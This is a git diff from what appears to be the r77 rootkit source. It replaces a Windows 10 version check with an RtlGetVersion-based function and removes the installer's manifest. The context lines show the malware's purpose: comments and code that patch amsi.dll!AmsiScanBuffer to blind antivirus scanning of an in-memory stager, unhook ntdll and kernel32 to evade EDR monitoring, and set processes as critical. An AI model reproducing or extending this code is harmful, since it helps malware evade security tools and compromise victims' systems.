diff --git a/Install/Install.c b/Install/Install.c
index 1193843..715383d 100644
--- a/Install/Install.c
+++ b/Install/Install.c
@@ -63,8 +63,8 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
// [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis.
// AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI.
- // AMSI is only supported on Windows 10.
- if (R77_IsWindows10OrGreater())
+ // AMSI is only supported on Windows 10; AMSI bypass not required for Windows 7.
+ if (IsAtLeastWindows10())
{
// Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load.
// Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk.
diff --git a/Install/Install.vcxproj b/Install/Install.vcxproj
index df39592..4990661 100644
--- a/Install/Install.vcxproj
+++ b/Install/Install.vcxproj
@@ -76,7 +76,8 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\"
- app.manifest
+
+
@@ -110,7 +111,8 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\"
- app.manifest
+
+
@@ -120,9 +122,6 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
-
-
-
diff --git a/Install/Install.vcxproj.filters b/Install/Install.vcxproj.filters
index 28a1272..418b921 100644
--- a/Install/Install.vcxproj.filters
+++ b/Install/Install.vcxproj.filters
@@ -12,9 +12,6 @@
-
-
-
diff --git a/Install/app.manifest b/Install/app.manifest
deleted file mode 100644
index b6a0996..0000000
--- a/Install/app.manifest
+++ /dev/null
@@ -1,24 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Service/Service.c b/Service/Service.c
index cff790d..36f91d0 100644
--- a/Service/Service.c
+++ b/Service/Service.c
@@ -12,7 +12,7 @@ int main()
{
// Unhook DLL's that are monitored by EDR.
UnhookDll(L"ntdll.dll");
- if (R77_IsWindows10OrGreater() || BITNESS(64))
+ if (BITNESS(64) || IsAtLeastWindows10())
{
// Unhooking kernel32.dll on Windows 7 x86 fails.
//TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails.
diff --git a/r77api/ntdll.h b/r77api/ntdll.h
index 1ac0928..2c45bb6 100644
--- a/r77api/ntdll.h
+++ b/r77api/ntdll.h
@@ -650,6 +650,7 @@ typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM
typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
+typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation);
typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size);
diff --git a/r77api/r77win.c b/r77api/r77win.c
index b77b7f9..a6e8234 100644
--- a/r77api/r77win.c
+++ b/r77api/r77win.c
@@ -109,6 +109,19 @@ BOOL Is64BitOperatingSystem()
BOOL wow64 = FALSE;
return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64;
}
+BOOL IsAtLeastWindows10()
+{
+ RTL_OSVERSIONINFOW versionInfo;
+ versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
+
+ // Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest.
+ if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo)))
+ {
+ return versionInfo.dwMajorVersion >= 10;
+ }
+
+ return FALSE;
+}
BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit)
{
BOOL result = FALSE;
@@ -890,6 +903,10 @@ NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, L
// CreateRemoteThread does not work across sessions in Windows 7.
return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
}
+NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation)
+{
+ return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation);
+}
NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue)
{
return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
@@ -897,18 +914,4 @@ NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege,
NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
{
return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
-}
-BOOL R77_IsWindows10OrGreater()
-{
- // This function must re-written in order to be compatible with /NODEFAULTLIB
-
- OSVERSIONINFOEXW versionInfo;
- i_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW));
- versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
- versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WIN10);
- versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WIN10);
- versionInfo.wServicePackMajor = 0;
-
- DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL);
- return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE;
}
\ No newline at end of file
diff --git a/r77api/r77win.h b/r77api/r77win.h
index 1508c58..a10d6b1 100644
--- a/r77api/r77win.h
+++ b/r77api/r77win.h
@@ -54,6 +54,14 @@ VOID Int32ToStrW(LONG value, PWCHAR buffer);
///
BOOL Is64BitOperatingSystem();
///
+/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file.
+///
+///
+/// TRUE, if Windows 10 or above is installed;
+/// otherwise, FALSE.
+///
+BOOL IsAtLeastWindows10();
+///
/// Determines whether a process is a 64-bit process.
///
/// The process ID to check.
@@ -278,8 +286,8 @@ VOID UnhookDll(LPCWSTR name);
NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
+NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation);
NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
-BOOL R77_IsWindows10OrGreater();
#endif
\ No newline at end of file